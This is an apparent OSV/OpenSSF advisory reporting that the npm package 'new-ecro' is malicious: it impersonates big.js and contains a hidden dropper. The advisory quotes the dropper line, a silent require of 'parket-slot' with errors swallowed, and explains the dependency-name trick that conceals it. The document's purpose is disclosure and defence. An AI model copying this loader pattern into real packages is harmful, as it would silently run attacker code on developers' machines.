Advisory

MAL-2026-6197

Also known as: GHSA-chhh-8532-pg35

Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.

Summary

Malicious code in new-ecro (npm)

Details

---
_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7)
Package 'new-ecro' impersonates the legitimate 'big.js' library: it copies big.js's README, source, version banner ('big.js v7.0.1'), author email, and repository URL while being published under an unrelated name. On require()/import of the main entry, big.js:606-609 (and the same lines in big.mjs) execute try { const doc = require("parket-slot"); doc.from_str().then(e=>{}).catch(e=>{}) } catch (error) {} — a silent loader-and-invoker wrapped in an error-swallowing try/catch so failures are invisible to the caller. The package's declared dependency in package.json is [email protected], while the code requires parket-slot — a name mismatch that hides the actual executing module from casual inspection of new-ecro's manifest; new-solt transitively delivers parket-slot. A developer who installs new-ecro believing it is big.js, or whose dependency tree pulls it in, executes attacker-controlled third-party code at import time. The combination of metadata spoofing of a popular library, a silent runtime require of a different-named module than declared, and unconditional error suppression is a canonical malicious-typosquat dropper pattern.

Source: ghsa-malware (aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Severity

Not rated by the source.

Dates

Published
2026-06-19 05:20 UTC
Modified
2026-06-19 10:01 UTC

Affected packages and fixes

new-ecro

npm · All systems

Affected

  • introduced 0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: OpenSSF Malicious Packages · Apache-2.0

Sources & licences